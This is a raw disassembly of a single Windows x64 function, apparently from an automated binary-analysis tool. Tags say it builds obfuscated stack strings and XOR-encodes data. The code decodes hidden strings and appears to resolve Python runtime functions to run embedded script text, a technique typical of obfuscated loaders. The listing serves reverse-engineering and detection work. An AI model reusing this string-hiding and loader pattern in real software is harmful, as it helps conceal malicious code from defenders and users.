Function at 0x1d3b3d3e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push r15
mov eax, 0x1618
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1d3b294d0
sub rsp, rax
movaps xmmword [rsp + 0x15a0], xmm6
movaps xmmword [rsp + 0x15b0], xmm7
movaps xmmword [rsp + 0x15c0], xmm8
movaps xmmword [rsp + 0x15d0], xmm9
movaps xmmword [rsp + 0x15e0], xmm10
movaps xmmword [rsp + 0x15f0], xmm11
movaps xmmword [rsp + 0x1600], xmm12
mov rax, qword [0x1d3bdca48]
mov edx, 0x99
mov ecx, 0x6b
mov r8d, 0x6b
mov qword [rsp + 0xc0], rax
mov eax, 0x99
mov word [rsp + 0xcc], ax
movabs rax, 0x95889592b5a385ac
mov qword [rsp + 0x12b0], rax
mov dword [rsp + 0x12b8], 0x8695909d
mov word [rsp + 0x12bc], dx
movzx eax, byte [rsp + 0x12b0]
lea rdx, [rsp + 0x12b0]
mov dword [rsp + 0xc8], 0x8695909d
xor eax, 0xfffffffc
mov byte [rsp + 0x12b0], al
movzx eax, byte [rsp + 0x12b1]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b1], al
movzx eax, byte [rsp + 0x12b2]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b2], al
movzx eax, byte [rsp + 0x12b3]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b3], al
movzx eax, byte [rsp + 0x12b4]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b4], al
movzx eax, byte [rsp + 0x12b5]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b5], al
movzx eax, byte [rsp + 0x12b6]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b6], al
movzx eax, byte [rsp + 0x12b7]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b7], al
movzx eax, byte [rsp + 0x12b8]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b8], al
movzx eax, byte [rsp + 0x12b9]
xor eax, 0xfffffffc
mov byte [rsp + 0x12b9], al
movzx eax, byte [rsp + 0x12ba]
xor eax, 0xfffffffc
mov byte [rsp + 0x12ba], al
movzx eax, byte [rsp + 0x12bb]
xor eax, 0xfffffffc
mov byte [rsp + 0x12bb], al
movzx eax, byte [rsp + 0x12bc]
xor eax, 0xfffffffc
mov byte [rsp + 0x12bc], al
mov rax, qword [str.oxsgnm20]
mov word [rsp + 0xdc], cx
mov qword [rsp + 0xd0], rax
movabs rax, 0x30326d6e6773786f
mov qword [rsp + 0xfc0], rax
mov dword [rsp + 0xfc8], 0x6b632d30
mov word [rsp + 0xfcc], r8w
movzx eax, byte [rsp + 0xfc0]
mov dword [rsp + 0xd8], 0x6b632d30
add eax, 1
mov byte [rsp + 0xfc0], al
movzx eax, byte [rsp + 0xfc1]
add eax, 1
mov byte [rsp + 0xfc1], al
movzx eax, byte [rsp + 0xfc2]
add eax, 1
mov byte [rsp + 0xfc2], al
movzx eax, byte [rsp + 0xfc3]
add eax, 1
mov byte [rsp + 0xfc3], al
movzx eax, byte [rsp + 0xfc4]
add eax, 1
mov byte [rsp + 0xfc4], al
movzx eax, byte [rsp + 0xfc5]
add eax, 1
mov byte [rsp + 0xfc5], al
movzx eax, byte [rsp + 0xfc6]
add eax, 1
mov byte [rsp + 0xfc6], al
movzx eax, byte [rsp + 0xfc7]
add eax, 1
mov byte [rsp + 0xfc7], al
movzx eax, byte [rsp + 0xfc8]
add eax, 1
mov byte [rsp + 0xfc8], al
movzx eax, byte [rsp + 0xfc9]
add eax, 1
mov byte [rsp + 0xfc9], al
movzx eax, byte [rsp + 0xfca]
add eax, 1
mov byte [rsp + 0xfca], al
movzx eax, byte [rsp + 0xfcb]
add eax, 1
mov byte [rsp + 0xfcb], al
movzx eax, byte [rsp + 0xfcc]
add eax, 1
mov byte [rsp + 0xfcc], al
lea rax, [rsp + 0xfc0]
mov rcx, rax
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x38], rax
call fcn.1d3ae6130
call rax
mov rax, qword [0x1d3bdca70]
mov r9d, 0xd3
movabs rdx, 0xccc4cdd2c8c5cdd3
mov r10d, 0xd3
movdqa xmm0, xmmword [0x1d3bdca60]
mov dword [rsp + 0x288], 0xcaccc8cc
mov qword [rsp + 0x280], rax
movabs rax, 0xd3c6908f8f8c9f88
mov qword [rsp + 0xd80], rax
movabs rax, 0xcec6c4cdd2c4c8d2
mov qword [rsp + 0xd88], rdx
mov word [rsp + 0x28c], r9w
mov qword [rsp + 0xd90], rax
xor eax, eax
mov dword [rsp + 0xd98], 0xcaccc8cc
mov word [rsp + 0xd9c], r10w
movaps xmmword [rsp + 0x270], xmm0
movzx edx, byte [rsp + rax + 0xd80]
xor edx, 0xfffffffc
mov byte [rsp + rax + 0xd80], dl
add rax, 1
cmp rax, 0x1d
jne 0x1d3b3d75d
lea rax, [rsp + 0xd80]
lea rsi, [rsp + 0x12c0]
mov rcx, rax
mov qword [rsp + 0x12b0], rsi
mov qword [rsp + 0x60], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0xfc0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fbd7
cmp rax, 1
jne 0x1d3b3d7cd
movzx eax, byte [rsp + 0xd80]
mov byte [rsp + 0x12c0], al
mov rax, rsi
jmp 0x1d3b3d7d9
mov rax, rsi
test rbx, rbx
jne 0x1d3b40102
mov qword [rsp + 0x12b8], rbx
movdqa xmm0, xmmword [0x1d3bdca80]
movabs rdx, 0xc5c9d3cdc5ccd3c9
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdca90]
mov byte [rsp + 0x1ca], 0
mov qword [rsp + 0x1c0], rax
mov eax, 0xffffd2cb
mov word [rsp + 0x1c8], ax
movabs rax, 0xc4ccd2d2c78d9e89
mov qword [rsp + 0x3d0], rax
movabs rax, 0xcdc9cdccc7c5ccd3
mov qword [rsp + 0x3d8], rdx
mov qword [rsp + 0x3e0], rax
mov eax, 0xffffd2cb
mov word [rsp + 0x3e8], ax
xor eax, eax
mov byte [rsp + 0x3ea], 0
movaps xmmword [rsp + 0x1b0], xmm0
movzx edx, byte [rsp + rax + 0x3d0]
xor edx, 0xfffffffd
mov byte [rsp + rax + 0x3d0], dl
add rax, 1
cmp rax, 0x1a
jne 0x1d3b3d866
lea r14, [rsp + 0x3d0]
lea rsi, [rsp + 0x12e0]
mov rcx, r14
mov qword [rsp + 0x12d0], rsi
call sub.msvcrt.dll_strlen
mov qword [rsp + 0xfc0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fc93
cmp rax, 1
jne 0x1d3b3fc82
movzx eax, byte [rsp + 0x3d0]
mov byte [rsp + 0x12e0], al
mov rax, rsi
mov qword [rsp + 0x12d8], rbx
movabs rdx, 0x2d2f37302d333830
movdqa xmm0, xmmword [str.gssor9..083_07__37_0790_]
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdcab0]
mov dword [rsp + 0x248], 0x2e323333
mov qword [rsp + 0x240], rax
movabs rax, 0x2e2e39726f737367
mov qword [rsp + 0x990], rax
movabs rax, 0x2f303937302d3733
mov qword [rsp + 0x998], rdx
mov byte [rsp + 0x24c], 0
mov qword [rsp + 0x9a0], rax
xor eax, eax
mov dword [rsp + 0x9a8], 0x2e323333
mov byte [rsp + 0x9ac], 0
movaps xmmword [rsp + 0x230], xmm0
movzx edx, byte [rsp + rax + 0x990]
add edx, 1
mov byte [rsp + rax + 0x990], dl
add rax, 1
cmp rax, 0x1c
jne 0x1d3b3d95c
lea rax, [rsp + 0x990]
lea rsi, [rsp + 0x1300]
mov rcx, rax
mov qword [rsp + 0x12f0], rsi
mov qword [rsp + 0x70], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0xfc0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fd57
cmp rax, 1
jne 0x1d3b3fd46
movzx eax, byte [rsp + 0x990]
mov byte [rsp + 0x1300], al
mov rax, rsi
mov qword [rsp + 0x12f8], rbx
movdqa xmm0, xmmword [str.dppl6_50_4_04_464_4]
movabs rdx, 0x302a2c342d2a3035
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdcad0]
mov byte [rsp + 0x1ea], 0
mov qword [rsp + 0x1e0], rax
mov eax, 0x2b2c
mov word [rsp + 0x1e8], ax
movabs rax, 0x2d2b2b366c707064
mov qword [rsp + 0x480], rax
movabs rax, 0x342c3436342d2a34
mov qword [rsp + 0x488], rdx
mov qword [rsp + 0x490], rax
mov eax, 0x2b2c
mov word [rsp + 0x498], ax
xor eax, eax
mov byte [rsp + 0x49a], 0
movaps xmmword [rsp + 0x1d0], xmm0
movzx edx, byte [rsp + rax + 0x480]
add edx, 4
mov byte [rsp + rax + 0x480], dl
add rax, 1
cmp rax, 0x1a
jne 0x1d3b3da5b
lea rax, [rsp + 0x480]
lea rsi, [rsp + 0x1320]
mov rcx, rax
mov qword [rsp + 0x1310], rsi
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0xfc0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fcf4
cmp rax, 1
jne 0x1d3b3fce3
movzx eax, byte [rsp + 0x480]
mov byte [rsp + 0x1320], al
mov rax, rsi
mov qword [rsp + 0x1318], rbx
mov r13d, 0x29
movabs rdx, 0x282c2c282b312b29
mov r15d, 0x29
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdcaf0]
movdqa xmm0, xmmword [str.n_jmmf4__1_____2__._4_]
mov dword [rsp + 0x2a8], 0x312a2e2a
mov qword [rsp + 0x2a0], rax
movabs rax, 0x2934666d6d6a5d6e
mov qword [rsp + 0xfc0], rax
movabs rax, 0x2c342f2e2c28322c
mov qword [rsp + 0xfc8], rdx
mov word [rsp + 0x2ac], r13w
mov qword [rsp + 0xfd0], rax
xor eax, eax
mov dword [rsp + 0xfd8], 0x312a2e2a
mov word [rsp + 0xfdc], r15w
movaps xmmword [rsp + 0x290], xmm0
movzx edx, byte [rsp + rax + 0xfc0]
add edx, 6
mov byte [rsp + rax + 0xfc0], dl
add rax, 1
cmp rax, 0x1d
jne 0x1d3b3db64
mov rcx, qword [rsp + 0x38]
lea rsi, [rsp + 0x1340]
mov qword [rsp + 0x1330], rsi
call sub.msvcrt.dll_strlen
mov qword [rsp + 0xb40], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3ff0b
cmp rax, 1
jne 0x1d3b3feed
lea rdi, [rsp + 0xb40]
movzx eax, byte [rsp + 0xfc0]
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x1340], al
mov rax, rsi
mov qword [rsp + 0x1338], rbx
mov ebp, 0xffffd5cd
movabs rdx, 0xd4c2c8d4c8c8d4cb
mov r12d, 0xffffd5cd
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdcb10]
movdqa xmm0, xmmword [0x1d3bdcb00]
mov word [rsp + 0x208], bp
mov qword [rsp + 0x200], rax
movabs rax, 0xcdcbd5d5c08a998e
mov qword [rsp + 0x630], rax
movabs rax, 0xcacecacbc0cfcec8
mov qword [rsp + 0x638], rdx
mov byte [rsp + 0x20a], 0
mov qword [rsp + 0x640], rax
xor eax, eax
mov word [rsp + 0x648], r12w
mov byte [rsp + 0x64a], 0
movaps xmmword [rsp + 0x1f0], xmm0
movzx edx, byte [rsp + rax + 0x630]
xor edx, 0xfffffffa
mov byte [rsp + rax + 0x630], dl
add rax, 1
cmp rax, 0x1a
jne 0x1d3b3dc67
lea rax, [rsp + 0x630]
lea rsi, [rsp + 0x1360]
mov rcx, rax
mov qword [rsp + 0x1350], rsi
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0xb40], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fe9b
cmp rax, 1
jne 0x1d3b3fe8a
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0x1360], al
mov rax, rsi
mov qword [rsp + 0x1358], rbx
movabs rdx, 0x2e2a2e2e2a2d332d
movdqa xmm0, xmmword [str.dpplo6_3_...4.016__]
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdcb30]
mov dword [rsp + 0x268], 0x2b2f3030
mov qword [rsp + 0x260], rax
movabs rax, 0x2b2b366f6c707064
mov qword [rsp + 0xb40], rax
movabs rax, 0x2c2d3631302e2a34
mov qword [rsp + 0xb48], rdx
mov byte [rsp + 0x26c], 0
mov qword [rsp + 0xb50], rax
xor eax, eax
mov dword [rsp + 0xb58], 0x2b2f3030
mov byte [rsp + 0xb5c], 0
movaps xmmword [rsp + 0x250], xmm0
movzx edx, byte [rsp + rax + 0xb40]
add edx, 4
mov byte [rsp + rax + 0xb40], dl
add rax, 1
cmp rax, 0x1c
jne 0x1d3b3dd62
mov rcx, qword [rsp + 0x40]
lea rsi, [rsp + 0x1380]
mov qword [rsp + 0x1370], rsi
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x7e0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fe2d
cmp rax, 1
jne 0x1d3b3fe0f
lea rdi, [rsp + 0x7e0]
movzx eax, byte [rsp + 0xb40]
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x1380], al
mov rax, rsi
mov qword [rsp + 0x1378], rbx
mov esi, 0xffffd5ca
movabs rdx, 0xc2c8d4c8c8d4cbcd
mov edi, 0xffffd5ca
mov byte [rax + rbx], 0
mov rax, qword [0x1d3bdcb50]
movdqa xmm0, xmmword [0x1d3bdcb40]
mov word [rsp + 0x228], si
mov qword [rsp + 0x220], rax
movabs rax, 0xcbd5d5c08a8e8e92
mov qword [rsp + 0x7e0], rax
movabs rax, 0xc2cac2c0cfcec8d4
mov qword [rsp + 0x7e8], rdx
mov byte [rsp + 0x22a], 0
mov qword [rsp + 0x7f0], rax
xor eax, eax
mov word [rsp + 0x7f8], di
mov byte [rsp + 0x7fa], 0
movaps xmmword [rsp + 0x210], xmm0
movzx edx, byte [rsp + rax + 0x7e0]
xor edx, 0xfffffffa
mov byte [rsp + rax + 0x7e0], dl
add rax, 1
cmp rax, 0x1a
jne 0x1d3b3de63
mov rcx, qword [rsp + 0x48]
lea rsi, [rsp + 0x13a0]
mov qword [rsp + 0x1390], rsi
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x390], rax
mov rbx, rax
cmp rax, 0xf
ja 0x1d3b3fdba
cmp rax, 1
jne 0x1d3b3fda9
movzx eax, byte [rsp + 0x7e0]
mov byte [rsp + 0x13a0], al
mov rax, rsi
mov qword [rsp + 0x1398], rbx
mov ecx, 0x100
mov byte [rax + rbx], 0
call fcn.1d3bd4ff0
mov r12, qword [rsp + 0x12b0]
lea rcx, [rax + 0x10]
mov rbx, qword [rsp + 0x12b8]
mov r15, rax
mov qword [rax], rcx
mov rax, r12
add rax, rbx
je 0x1d3b3df0b
test r12, r12
je 0x1d3b4010a
mov qword [rsp + 0x390], rbx
cmp rbx, 0xf
ja 0x1d3b400b4
cmp rbx, 1
je 0x1d3b400f4
test rbx, rbx
jne 0x1d3b400d9
mov qword [r15 + 8], rbx
mov byte [rcx + rbx], 0
mov r12, qword [rsp + 0x12d0]
lea rcx, [r15 + 0x30]
lea rbx, [r15 + 0x20]
mov rsi, qword [rsp + 0x12d8]
mov qword [r15 + 0x20], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3df65
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b40064
cmp rsi, 1
je 0x1d3b400a6
test rsi, rsi
jne 0x1d3b4008a
mov qword [r15 + 0x28], rsi
lea rbx, [r15 + 0x40]
mov byte [rcx + rsi], 0
mov r12, qword [rsp + 0x12f0]
lea rcx, [r15 + 0x50]
mov rsi, qword [rsp + 0x12f8]
mov qword [r15 + 0x40], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3dfbf
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b40014
cmp rsi, 1
je 0x1d3b40056
test rsi, rsi
jne 0x1d3b4003a
mov qword [r15 + 0x48], rsi
lea rbx, [r15 + 0x60]
mov byte [rcx + rsi], 0
mov r12, qword [rsp + 0x1310]
lea rcx, [r15 + 0x70]
mov rsi, qword [rsp + 0x1318]
mov qword [r15 + 0x60], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3e019
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b3ffc4
cmp rsi, 1
je 0x1d3b40006
test rsi, rsi
jne 0x1d3b3ffea
mov qword [r15 + 0x68], rsi
lea rbx, [r15 + 0x80]
mov byte [rcx + rsi], 0
mov r12, qword [rsp + 0x1330]
lea rcx, [r15 + 0x90]
mov rsi, qword [rsp + 0x1338]
mov qword [r15 + 0x80], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3e07c
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b3ff68
cmp rsi, 1
je 0x1d3b3ffb3
test rsi, rsi
jne 0x1d3b3ff94
mov qword [r15 + 0x88], rsi
lea rbx, [r15 + 0xa0]
mov byte [rcx + rsi], 0
mov r12, qword [rsp + 0x1350]
lea rcx, [r15 + 0xb0]
mov rsi, qword [rsp + 0x1358]
mov qword [r15 + 0xa0], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3e0e2
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b3fc26
cmp rsi, 1
je 0x1d3b3fc71
test rsi, rsi
jne 0x1d3b3fc52
mov qword [r15 + 0xa8], rsi
lea rbx, [r15 + 0xc0]
mov byte [rcx + rsi], 0
mov r12, qword [rsp + 0x1370]
lea rcx, [r15 + 0xd0]
mov rsi, qword [rsp + 0x1378]
mov qword [r15 + 0xc0], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3e148
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b3fb8c
cmp rsi, 1
je 0x1d3b3fb7b
test rsi, rsi
jne 0x1d3b3fbb8
mov qword [r15 + 0xc8], rsi
lea rbx, [r15 + 0xe0]
mov byte [rcx + rsi], 0
mov r12, qword [rsp + 0x1390]
lea rcx, [r15 + 0xf0]
mov rsi, qword [rsp + 0x1398]
mov qword [r15 + 0xe0], rcx
mov rax, r12
add rax, rsi
je 0x1d3b3e1ae
test r12, r12
je 0x1d3b4010d
mov qword [rsp + 0x390], rsi
cmp rsi, 0xf
ja 0x1d3b3fb30
cmp rsi, 1
jne 0x1d3b3fb25
movzx eax, byte [r12]
mov byte [r15 + 0xf0], al
lea rax, [r15 + 0x100]
mov qword [r15 + 0xe8], rsi
lea rbx, [rsp + 0x1390]
mov byte [rcx + rsi], 0
mov qword [rsp + 0x78], rax
jmp 0x1d3b3e212
mov rax, qword [rbx + 0x10]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
lea rax, [rbx - 0x20]
cmp qword [rsp + 0x58], rbx
je 0x1d3b3e229
mov rbx, rax
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
jne 0x1d3b3e1f7
lea rax, [rbx - 0x20]
cmp qword [rsp + 0x58], rbx
jne 0x1d3b3e20f
mov r12, qword [r15]
mov rbx, qword [r15 + 8]
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x350], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x2b0], rax
mov rax, r12
mov qword [rsp + 0x358], 0
add rax, rbx
mov qword [rsp + 0x360], 0
mov qword [rsp + 0x368], 0
mov qword [rsp + 0x370], 0
mov qword [rsp + 0x378], 0
mov qword [rsp + 0x380], 0
mov qword [rsp + 0x388], 0
mov qword [rsp + 0x390], 0
mov qword [rsp + 0x398], 0
mov qword [rsp + 0x3a0], 0
mov qword [rsp + 0x3a8], 0
mov qword [rsp + 0x3b0], 0
mov qword [rsp + 0x3b8], 0
mov qword [rsp + 0x3c0], 0
mov qword [rsp + 0x3c8], 0
je 0x1d3b3e316
test r12, r12
je 0x1d3b3f0f5
mov dword [rsp + 0x24], 0
movdqa xmm7, xmmword [str.cvca__gknmpr___xjg___bcamknpcqq__gknmpr_____qc42___42bcambc__gknmpr___ambcaq__ecrclambcp_srd6__cLm7R._JvB_ONRc_mpdMWB_qStcuUCFCe2eGphaP_bLvrxPLOg_pTdE_swFJVkX2F_LkXng6A5Din.cI6qaKlcv_njSrMW_7hhGMC2iND6o3FEuXUpqjMD_gUfOvd_7ouS.cTpl_fRxgxbNru_tk3dls3fERR0jlJciGqFKa_UV_BGfH5_I_mwfm_sPhQi_pDPqgB3amRHMtSVtpUx_AbV_dQT__7AdSgI_JL7C1P0vOdM.EO4SfAx_ckSLad1XQD3jEORLnQ__plpQ_dA_kwJ_p_jSlqodijJ6TT0t_O_CNU2jdou___Y._p_looh6]
mov qword [rsp + 0x30], 0
movdqa xmm8, xmmword [0x1d3bdcb70]
movdqa xmm9, xmmword [0x1d3bdcb80]
movdqa xmm10, xmmword [0x1d3bdcb90]
movdqa xmm11, xmmword [0x1d3bdcba0]
movdqa xmm12, xmmword [0x1d3bdcbb0]
nop dword [rax]
mov qword [rsp + 0x3d0], rbx
cmp rbx, 0xf
ja 0x1d3b3f848
cmp rbx, 1
jne 0x1d3b3f11a
movzx eax, byte [r12]
mov byte [rsp + 0x2c0], al
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x2b8], rbx
mov rcx, r14
mov byte [rax + rbx], 0
mov rdx, qword [rsp + 0x2b0]
call fcn.1d3b0ab20
mov ebx, 0x2c2c
mov r11d, 0x2c2c
mov dword [rsp + 0x330], 0x376d6071
lea r13, [rsp + 0x2d0]
mov word [rsp + 0x334], bx
mov rdx, r14
mov rcx, r13
mov byte [rsp + 0x336], 0
movzx eax, byte [rsp + 0x330]
mov dword [rsp + 0x88], 0x376d6071
add eax, 3
mov byte [rsp + 0x8e], 0
mov byte [rsp + 0x330], al
movzx eax, byte [rsp + 0x331]
mov word [rsp + 0x8c], r11w
add eax, 3
mov byte [rsp + 0x331], al
movzx eax, byte [rsp + 0x332]
add eax, 3
mov byte [rsp + 0x332], al
movzx eax, byte [rsp + 0x333]
add eax, 3
mov byte [rsp + 0x333], al
movzx eax, byte [rsp + 0x334]
add eax, 3
mov byte [rsp + 0x334], al
movzx eax, byte [rsp + 0x335]
add eax, 3
mov byte [rsp + 0x335], al
call fcn.1d3b09e40
lea r12, [rsp + 0x330]
mov rcx, r13
mov rdx, r12
call fcn.1d3b4f2c0
mov rcx, qword [rsp + 0x2d0]
mov ebx, eax
lea rax, [rsp + 0x2e0]
cmp rcx, rax
je 0x1d3b3e4a8
mov rax, qword [rsp + 0x2e0]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
xor esi, esi
test ebx, ebx
je 0x1d3b3f12d
mov rax, qword [0x1d3bdcd08]
mov r10d, 0x2b
mov r9d, 0x2b
mov rdx, r14
lea r13, [rsp + 0x2f0]
mov word [rsp + 0xa8], r9w
mov qword [rsp + 0xa0], rax
mov rcx, r13
movabs rax, 0x2b36686f6f6c5f70
mov qword [rsp + 0x330], rax
mov word [rsp + 0x338], r10w
movzx eax, byte [rsp + 0x330]
add eax, 4
mov byte [rsp + 0x330], al
movzx eax, byte [rsp + 0x331]
add eax, 4
mov byte [rsp + 0x331], al
movzx eax, byte [rsp + 0x332]
add eax, 4
mov byte [rsp + 0x332], al
movzx eax, byte [rsp + 0x333]
add eax, 4
mov byte [rsp + 0x333], al
movzx eax, byte [rsp + 0x334]
add eax, 4
mov byte [rsp + 0x334], al
movzx eax, byte [rsp + 0x335]
add eax, 4
mov byte [rsp + 0x335], al
movzx eax, byte [rsp + 0x336]
add eax, 4
mov byte [rsp + 0x336], al
movzx eax, byte [rsp + 0x337]
add eax, 4
mov byte [rsp + 0x337], al
movzx eax, byte [rsp + 0x338]
add eax, 4
mov byte [rsp + 0x338], al
call fcn.1d3b09e40
mov rcx, r13
mov rdx, r12
call fcn.1d3b4f2c0
mov rcx, qword [rsp + 0x2f0]
mov ebx, eax
lea rax, [rsp + 0x300]
cmp rcx, rax
je 0x1d3b3e5d9
mov rax, qword [rsp + 0x300]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
test ebx, ebx
je 0x1d3b3f648
mov rax, qword [str.eqqmp7__]
lea r13, [rsp + 0x310]
mov rdx, r14
mov byte [rsp + 0x98], 0
mov rcx, r13
mov qword [rsp + 0x90], rax
movabs rax, 0x2c2c37706d717165
mov qword [rsp + 0x330], rax
mov byte [rsp + 0x338], 0
movzx eax, byte [rsp + 0x330]
add eax, 3
mov byte [rsp + 0x330], al
movzx eax, byte [rsp + 0x331]
add eax, 3
mov byte [rsp + 0x331], al
movzx eax, byte [rsp + 0x332]
add eax, 3
mov byte [rsp + 0x332], al
movzx eax, byte [rsp + 0x333]
add eax, 3
mov byte [rsp + 0x333], al
movzx eax, byte [rsp + 0x334]
add eax, 3
mov byte [rsp + 0x334], al
movzx eax, byte [rsp + 0x335]
add eax, 3
mov byte [rsp + 0x335], al
movzx eax, byte [rsp + 0x336]
add eax, 3
mov byte [rsp + 0x336], al
movzx eax, byte [rsp + 0x337]
add eax, 3
mov byte [rsp + 0x337], al
call fcn.1d3b09e40
mov rcx, r13
mov rdx, r12
call fcn.1d3b4f2c0
mov rcx, qword [rsp + 0x310]
mov ebx, eax
lea rax, [rsp + 0x320]
cmp rcx, rax
je 0x1d3b3e6e8
mov rax, qword [rsp + 0x320]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
test ebx, ebx
je 0x1d3b3f300
movabs rax, 0xd2d2c78d898995
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0x310], rax
movzx eax, byte [rsp + 0x310]
xor eax, 0xfffffffd
mov byte [rsp + 0x310], al
movzx eax, byte [rsp + 0x311]
xor eax, 0xfffffffd
mov byte [rsp + 0x311], al
movzx eax, byte [rsp + 0x312]
xor eax, 0xfffffffd
mov byte [rsp + 0x312], al
movzx eax, byte [rsp + 0x313]
xor eax, 0xfffffffd
mov byte [rsp + 0x313], al
movzx eax, byte [rsp + 0x314]
xor eax, 0xfffffffd
mov byte [rsp + 0x314], al
movzx eax, byte [rsp + 0x315]
xor eax, 0xfffffffd
mov byte [rsp + 0x315], al
movzx eax, byte [rsp + 0x316]
xor eax, 0xfffffffd
mov byte [rsp + 0x316], al
call fcn.1d3b09e40
mov rcx, r12
mov rdx, r13
lea rbx, [rsp + 0x340]
call fcn.1d3b4f2c0
mov rcx, qword [rsp + 0x330]
mov edi, eax
cmp rcx, rbx
je 0x1d3b3e7be
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
test edi, edi
je 0x1d3b3f896
mov rdx, r14
mov rcx, r12
call fcn.1d3b09f00
movdqa xmm0, xmmword [0x1d3bdd3d0]
movabs rax, 0x6a1e3b1e72716d66
movabs rdx, 0x251e385f62606b5f
mov dword [rsp + 0x1a0], 0x8257123
mov qword [rsp + 0x310], rax
mov r9, qword [rsp + 0x330]
xor eax, eax
mov qword [rsp + 0x318], rdx
mov byte [rsp + 0x1a4], 0
mov dword [rsp + 0x320], 0x8257123
mov byte [rsp + 0x324], 0
movaps xmmword [rsp + 0x190], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x310]
add edx, 2
mov byte [rsp + rax + 0x310], dl
add rax, 1
cmp rax, 0x14
jne 0x1d3b3e838
lea rbp, [rsp + 0x350]
mov r8, r13
mov edx, 0x40
mov rcx, rbp
call fcn.1d3b1d4d0
mov rcx, qword [rsp + 0x330]
cmp rcx, rbx
je 0x1d3b3e88a
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
mov rdx, r14
mov rcx, r12
call fcn.1d3b09fc0
movabs rax, 0x93dfc2df8b8d908f
mov ecx, 0xfffff58c
movabs rdx, 0xdadfc59e9b9d929e
mov r8d, 0xfffff58c
mov qword [rsp + 0x310], rax
movdqa xmm0, xmmword [0x1d3bdd3e0]
xor eax, eax
mov qword [rsp + 0x318], rdx
mov r9, qword [rsp + 0x330]
mov word [rsp + 0x320], r8w
mov word [rsp + 0x120], cx
mov byte [rsp + 0x122], 0
mov byte [rsp + 0x322], 0
movaps xmmword [rsp + 0x110], xmm0
nop
movzx edx, byte [rsp + rax + 0x310]
not edx
mov byte [rsp + rax + 0x310], dl
add rax, 1
cmp rax, 0x12
jne 0x1d3b3e900
lea rdi, [rsp + 0x390]
mov r8, r13
mov edx, 0x40
mov rcx, rdi
call fcn.1d3b1d4d0
mov rcx, qword [rsp + 0x330]
cmp rcx, rbx
je 0x1d3b3e951
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.1d3bd4fb0
mov eax, 0x676e
movdqa xmm6, xmmword [str.PyRun_SimpleStripython31]
movabs rdx, 0x69727453656c706d
mov byte [rsp + 0x142], 0
mov word [rsp + 0x140], ax
movabs rax, 0x69535f6e75527950
mov qword [rsp + 0x330], rax
xor eax, eax
mov qword [rsp + 0x338], rdx
mov edx, 0x676e
mov word [rsp + 0x340], dx
mov byte [rsp + 0x342], 0
movaps xmmword [rsp + 0x130], xmm6
nop dword [rax]
movzx edx, byte [rsp + rax + 0x330]
mov byte [rsp + rax + 0x330], dl
add rax, 1
cmp rax, 0x12
jne 0x1d3b3e9b8
mov eax, 0x6c
mov rbx, qword [0x1d3bdd400]
mov rdx, r12
mov rcx, r13
mov word [rsp + 0xec], ax
movabs rax, 0x31336e6f68747970
mov qword [rsp + 0x310], rax
mov eax, 0x6c
mov dword [rsp + 0x318], 0x6c642e31
